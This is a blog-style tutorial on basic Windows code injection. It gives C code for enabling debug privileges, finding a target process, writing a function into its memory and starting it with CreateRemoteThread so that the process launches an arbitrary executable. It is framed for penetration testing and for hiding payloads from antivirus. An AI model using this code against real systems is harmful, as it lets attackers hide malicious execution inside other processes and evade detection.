Code Injection on Windows

27 May 2018

1,391 Words / Reading time: 9 mins

#Windows #hacking

Introduction

The purpose of this document is to describe one of the most basic code injection techniques by using some of the APIs provided by the Windows operating system for process interaction.

Code injection can be used in case it is necessary to make the detection of a payload more difficult within a compromised system, because it should not be sought inside a single process.

It is possible to find an example of a more sophisticated use of the above technique into the “migrate” (ReflectiveLoader) feature of meterpreter, which completely moves the execution of the agent into a
process chosen by the attacker.

Used in symbiosis with some evasion mechanics, the method works well even in presence of anti-virus solutions with sandboxing components.
Instead, in presence of solutions with hooking components, it could not achieve the same results as some particular API call chains can be captured and compared with some signatures.

Requirements

In order to success it is important to have the correct permissions for writing and executing code
into another process’s memory. It is also needed to disable any kind of optimization during the
compiling and linking phases of the project.

Overview

The implementation described in the document is the following list of operations:

Procedure

In this section of the document will be explained the most important parts of the attached example
source code.

Functions and structures

The core of the project are a function and a data structure which will be both injected into the
remote process.
The data structure will be passed as parameter to the function.

1
2
3
4
5
6
7
8
9
10
11
12
typedef BOOL (WINAPI *_CreateProcess)(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

This is the definition of a type of function which is identical to the CreateProcess API. This
definition will be useful to declare functions that can accept the same type and number of
parameters and that can return the same type of value.

1
2
3
4
typedef struct {
_CreateProcess __CreateProcess;
WCHAR path[MAX_PATH];
} InjectData;

This is a type of data structure named InjectData. It contains a _CreateProcess type of function
and a path which will be used to find the executable to be started.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD __stdcall injectFn(PVOID param) {

/* stack allocation is ok */
InjectData *injData;
STARTUPINFOW si;
PROCESS_INFORMATION pi;


injData = (InjectData*)param;

MEMSET_MACRO(&si, 0, sizeof(si));
MEMSET_MACRO(&pi, 0, sizeof(pi));

si.cb = sizeof(si);
/* CreateProcess address should be the same on every process as kernel32.dll will be 99.99% of times loaded at the same address */
injData->__CreateProcess(injData->path, 0, 0, 0, FALSE, 0, 0, 0, &si, &pi);

return 0;

}
VOID injectFnEnd() {}

This is the function that will be injected into the remote process. It accepts an InjectData structure
as a parameter and uses the injData->__CreateProcess pointer by passing injData->path as a
parameter to it in order to start the specified executable.
In summary, this function makes possible the start of an arbitrary executable from a remote
process.

Enabling of debug privileges

It is important to enable the debug privileges on the injector’s process, because in some cases it
may not be possible to obtain a handle to the remote process without them.
The following is a generic function to solve the problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int getDebugPriv() {

HANDLE hToken;
TOKEN_PRIVILEGES tokenPriv;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPriv.Privileges[0].Luid);
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, 0, &tokenPriv, sizeof(tokenPriv), NULL, NULL))
return 1;
else
return 0;

}
return 1;
}

The function makes use of the OpenProcessToken, LookupPrivilegeValue and
AdjustTokenPrivilege APIs to modify the privileges of its process.

Obtaining process’s handle

The next step is to obtain the PID of the process in which it is interested to operate, the example
code refers to the APIs declared inside the “tlhelp32.h” header, but it is not the only way to face
the problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DWORD getPidByName(WCHAR *procname) {

PROCESSENTRY32 entry;
HANDLE hSnap;

entry.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

if (Process32First(hSnap, &entry) == TRUE) {
while (Process32Next(hSnap, &entry) == TRUE)
{
if (wcsicmp(entry.szExeFile, procname) == 0)
return entry.th32ProcessID;
}
}

return 0;
}

In summary the function creates a snapshot of the processes’ list in a precise instant and
subsequently they are compared one by one with the name of the sought process (procname).
When a match is found, the PID is returned, otherwise zero is the return value.

Once the PID is obtained you just need a call to the OpenProcess API by using the correct
parameters.

1
2
3
4
5
6
7
8
/* Getting debug privileges before starting our sneaky things */
if (getDebugPriv() != 0)
goto cleanup;

/* Getting PID of the process name specified in the cmdline */
pid = getPidByName(argv[1]);
if (!pid)
goto cleanup;

In this example the specified access rights are PROCESS_ALL_ACCESS for keeping it simple,
but PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION and PROCESS_VM_WRITE
should be enough for the task.

Allocating and writing of data and code

The second-last step is to allocate the memory needed for data and code and to write them.
This is made possible by an appropriate use of the VirtualAllocEx and WriteProcessMemory
APIs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Allocating the right amount of space in the remote process */
pData = VirtualAllocEx(hProcess, 0, sizeof(injData), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pData)
goto cleanup;

pFn = VirtualAllocEx(hProcess, 0, sizeOfInjFn, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pFn)
goto cleanup;

/* Writing injData structure and injectFn function into the remote process space */
if (!WriteProcessMemory(hProcess, pData, &injData, sizeof(injData), 0))
goto cleanup;

if (!WriteProcessMemory(hProcess, pFn, injectFn, sizeOfInjFn, 0))
goto cleanup;

During the first call to VirtualAllocEx it is asked an allocation of memory equal to the dimension of
the injData structure and respectively, during the second call, equal to the dimension of the
injectFn function.
The injectFn dimension is calculated simply by placing a dummy function, the injectFnEnd, after it
and by doing a subtraction of their pointers.

1
2
/* to be changed to DWORD64 on 64bit systems */
sizeOfInjFn = (DWORD)injectFnEnd - (DWORD)injectFn;

This way, by disabling all the optimizations of the linker, it becomes possible to calculate the exact
dimension of the injectFn function.

The two calls to the WriteProcessMemory API are needed to write the data contained in
(&)injData and injectFn respectively to the pData and pFn pointers, but into the remote process
space.

Creation of the remote thread

At the end, making sure that the shellcode doesn’t make any reference to memory areas that are
not accessible from another process (strings, functions, etc.), it is possible to invoke the
CreateRemoteThread API by specifying the pFn pointer as the function and the pData pointer as
the parameter.

1
2
3
4
5
/* Starting a new thread in the remote process at the pFn pointer and passing pData pointer to it */
if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pFn, pData, 0, &tid) == NULL)
goto cleanup;

printf("Success! TID: %u\n", tid);

Conclusions

Even if basic, this technique it is not obsolete, because it can happen often to not being able to use
conventional payloads during some penetration test phases, and making other processes doing
sensitive operations can make a difference.

Contributions

Thanks to Paolo Campo for a more clear syntax in the Italian version of this document.

Example code

You can find the example source code in the following repository:
https://github.com/pfrankw/code_injection_example